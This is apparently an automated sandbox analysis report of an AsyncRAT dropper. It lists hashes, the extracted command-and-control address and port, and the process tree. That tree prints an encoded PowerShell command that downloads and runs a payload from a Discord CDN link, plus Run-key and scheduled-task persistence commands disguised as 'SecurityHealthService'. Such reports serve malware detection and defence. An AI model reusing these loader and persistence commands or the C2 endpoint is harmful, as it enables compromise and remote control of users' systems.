Analysis
-
max time kernel
146s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
27-12-2022 09:20
Static task
static1
Behavioral task
behavioral1
Sample
80b5367dce5fa3438971148c591192bb.exe
Resource
win7-20220901-en
Behavioral task
behavioral2
Sample
80b5367dce5fa3438971148c591192bb.exe
Resource
win10v2004-20220812-en
General
-
Target
80b5367dce5fa3438971148c591192bb.exe
-
Size
5KB
-
MD5
80b5367dce5fa3438971148c591192bb
-
SHA1
e64e614bdc92464d237706a1ec8f16c4d030771a
-
SHA256
0de5d8b27608374949ef0271695ecab50c3b8384cfd875e2679b4a7a1772ac03
-
SHA512
0ec3553f437de1de9a3fc04013626cb3dc55e33ecdd26480383782f4b40c36119b985663a190c2ebdbf021b0252d27108a8c9a08df8adcd88153e3efbe5df1f3
-
SSDEEP
96:gf53TE79fkCFHGHtZsfvk+JCAYBsRvk+JCnSvFd3ojXLrl:O53O9fPFmHryvkUY6vkdaFd6
Malware Config
Extracted
asyncrat
0.5.7B
DefenderSmartScren
217.64.31.3:8437
DefenderSmartScren
-
delay
3
-
install
false
-
install_file
SecurityHealtheurvice.exe
-
install_folder
%AppData%
Signatures
-
Async RAT payload 1 IoCs
Processes:
resource yara_rule behavioral2/memory/848-149-0x0000000000400000-0x0000000000412000-memory.dmp asyncrat -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 33 3024 powershell.exe -
Downloads MZ/PE file
-
Executes dropped EXE 1 IoCs
Processes:
3.exepid process 1612 3.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
80b5367dce5fa3438971148c591192bb.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation 80b5367dce5fa3438971148c591192bb.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
powershell.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SecurityHealthService = "C:\\Users\\Admin\\AppData\\Roaming\\SecurityHealthService\\SecurityHealthService.exe" powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
3.exedescription pid process target process PID 1612 set thread context of 848 1612 3.exe RegAsm.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exepowershell.exepid process 3024 powershell.exe 3024 powershell.exe 4228 powershell.exe 4228 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 3024 powershell.exe Token: SeDebugPrivilege 4228 powershell.exe -
Suspicious use of WriteProcessMemory 22 IoCs
Processes:
80b5367dce5fa3438971148c591192bb.exepowershell.exe3.execmd.exedescription pid process target process PID 1484 wrote to memory of 3024 1484 80b5367dce5fa3438971148c591192bb.exe powershell.exe PID 1484 wrote to memory of 3024 1484 80b5367dce5fa3438971148c591192bb.exe powershell.exe PID 3024 wrote to memory of 1612 3024 powershell.exe 3.exe PID 3024 wrote to memory of 1612 3024 powershell.exe 3.exe PID 3024 wrote to memory of 1612 3024 powershell.exe 3.exe PID 1612 wrote to memory of 4228 1612 3.exe powershell.exe PID 1612 wrote to memory of 4228 1612 3.exe powershell.exe PID 1612 wrote to memory of 4228 1612 3.exe powershell.exe PID 1612 wrote to memory of 4216 1612 3.exe cmd.exe PID 1612 wrote to memory of 4216 1612 3.exe cmd.exe PID 1612 wrote to memory of 4216 1612 3.exe cmd.exe PID 4216 wrote to memory of 3092 4216 cmd.exe schtasks.exe PID 4216 wrote to memory of 3092 4216 cmd.exe schtasks.exe PID 4216 wrote to memory of 3092 4216 cmd.exe schtasks.exe PID 1612 wrote to memory of 848 1612 3.exe RegAsm.exe PID 1612 wrote to memory of 848 1612 3.exe RegAsm.exe PID 1612 wrote to memory of 848 1612 3.exe RegAsm.exe PID 1612 wrote to memory of 848 1612 3.exe RegAsm.exe PID 1612 wrote to memory of 848 1612 3.exe RegAsm.exe PID 1612 wrote to memory of 848 1612 3.exe RegAsm.exe PID 1612 wrote to memory of 848 1612 3.exe RegAsm.exe PID 1612 wrote to memory of 848 1612 3.exe RegAsm.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\80b5367dce5fa3438971148c591192bb.exe"C:\Users\Admin\AppData\Local\Temp\80b5367dce5fa3438971148c591192bb.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAZAByACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAzADAAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAANQA2ADYANQAzADEANgA0ADAAOAA4ADEAMwA5ADgAMQA3AC8AMQAwADUANgA2ADUAMwA4ADMAMgAzADUAOAAyADAANwA2ADAAOQAvAFMAZQBjAHUAcgBpAHQAeQBIAGUAYQBsAHQAaABTAGUAcgB2AGkAYwBlAC4AZQB4AGUAJwAsACAAPAAjAGcAZwB3ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAaAB1AGgAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAcgB2AGkAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAMwAuAGUAeABlACcAKQApADwAIwB3AHkAYgAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBiAHAAZwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAdwB2AHUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAMwAuAGUAeABlACcAKQA8ACMAZABjAHIAIwA+AA=="2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\3.exe"C:\Users\Admin\AppData\Roaming\3.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Remove -ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'SecurityHealthService';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'SecurityHealthService' -Value '"C:\Users\Admin\AppData\Roaming\SecurityHealthService\SecurityHealthService.exe"' -PropertyType 'String'4⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exe"cmd" /C schtasks /create /tn \SecurityHealthService /tr "C:\Users\Admin\AppData\Roaming\SecurityHealthService\SecurityHealthService.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn \SecurityHealthService /tr "C:\Users\Admin\AppData\Roaming\SecurityHealthService\SecurityHealthService.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f5⤵
- Creates scheduled task(s)
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe#cmd4⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD5ec484f5eba2f29de745101dfa991b523
SHA17c21ecc9206a1a9162f399a6034881f45947b340
SHA256a64ce3f37231c19aed671a3f57c9be4faf8980fd9aff3c683fa3565abdcdedc2
SHA512564252e7a8d5f95b8e047d9469b11ef45074a102a10fc20a22df1b7aabf089015854b632dbf6a62d3176b5543dc9cf11d66418b71220535207211569a38c9d32
-
C:\Users\Admin\AppData\Roaming\3.exeFilesize
87KB
MD5ca699117112a173ca7b289f1baf6c3c0
SHA1862f227d4fa0b4de892006d7fe19e610e9f1a676
SHA256db805d5ac09ea9d18a3016d4c70cbb52087604fe5ad23fd8043399c970c0c8a6
SHA512d9f82f6e18ce2eb624a5ee1e20618318fde7ffdcff834d9c0291f4971bd72ce9b7f5108bf45f11ceed4d1f526bad4842913e833a25e3d99a3235d6f87b4d2620
-
C:\Users\Admin\AppData\Roaming\3.exeFilesize
87KB
MD5ca699117112a173ca7b289f1baf6c3c0
SHA1862f227d4fa0b4de892006d7fe19e610e9f1a676
SHA256db805d5ac09ea9d18a3016d4c70cbb52087604fe5ad23fd8043399c970c0c8a6
SHA512d9f82f6e18ce2eb624a5ee1e20618318fde7ffdcff834d9c0291f4971bd72ce9b7f5108bf45f11ceed4d1f526bad4842913e833a25e3d99a3235d6f87b4d2620
-
memory/848-149-0x0000000000400000-0x0000000000412000-memory.dmpFilesize
72KB
-
memory/848-148-0x0000000000000000-mapping.dmp
-
memory/1484-135-0x00007FFAAED70000-0x00007FFAAF831000-memory.dmpFilesize
10.8MB
-
memory/1484-132-0x00000000000B0000-0x00000000000B8000-memory.dmpFilesize
32KB
-
memory/1612-142-0x0000000000DD0000-0x0000000000DEC000-memory.dmpFilesize
112KB
-
memory/1612-143-0x0000000005C70000-0x0000000006214000-memory.dmpFilesize
5.6MB
-
memory/1612-138-0x0000000000000000-mapping.dmp
-
memory/3024-140-0x00007FFAAED70000-0x00007FFAAF831000-memory.dmpFilesize
10.8MB
-
memory/3024-134-0x000001EAEDA50000-0x000001EAEDA72000-memory.dmpFilesize
136KB
-
memory/3024-137-0x00007FFAAED70000-0x00007FFAAF831000-memory.dmpFilesize
10.8MB
-
memory/3024-133-0x0000000000000000-mapping.dmp
-
memory/3024-136-0x00007FFAAED70000-0x00007FFAAF831000-memory.dmpFilesize
10.8MB
-
memory/3092-146-0x0000000000000000-mapping.dmp
-
memory/4216-145-0x0000000000000000-mapping.dmp
-
memory/4228-155-0x0000000005B60000-0x0000000005B7E000-memory.dmpFilesize
120KB
-
memory/4228-158-0x0000000006100000-0x000000000611E000-memory.dmpFilesize
120KB
-
memory/4228-151-0x0000000004B40000-0x0000000004B62000-memory.dmpFilesize
136KB
-
memory/4228-152-0x0000000005440000-0x00000000054A6000-memory.dmpFilesize
408KB
-
memory/4228-153-0x00000000054B0000-0x0000000005516000-memory.dmpFilesize
408KB
-
memory/4228-147-0x0000000004500000-0x0000000004536000-memory.dmpFilesize
216KB
-
memory/4228-144-0x0000000000000000-mapping.dmp
-
memory/4228-156-0x0000000006B20000-0x0000000006B52000-memory.dmpFilesize
200KB
-
memory/4228-157-0x0000000073650000-0x000000007369C000-memory.dmpFilesize
304KB
-
memory/4228-150-0x0000000004BE0000-0x0000000005208000-memory.dmpFilesize
6.2MB
-
memory/4228-159-0x00000000074B0000-0x0000000007B2A000-memory.dmpFilesize
6.5MB
-
memory/4228-160-0x0000000006E60000-0x0000000006E7A000-memory.dmpFilesize
104KB
-
memory/4228-161-0x0000000006ED0000-0x0000000006EDA000-memory.dmpFilesize
40KB
-
memory/4228-162-0x00000000070E0000-0x0000000007176000-memory.dmpFilesize
600KB
-
memory/4228-163-0x0000000007090000-0x000000000709E000-memory.dmpFilesize
56KB
-
memory/4228-164-0x00000000071A0000-0x00000000071BA000-memory.dmpFilesize
104KB
-
memory/4228-165-0x0000000007180000-0x0000000007188000-memory.dmpFilesize
32KB
-
memory/4228-166-0x00000000071C0000-0x00000000071E2000-memory.dmpFilesize
136KB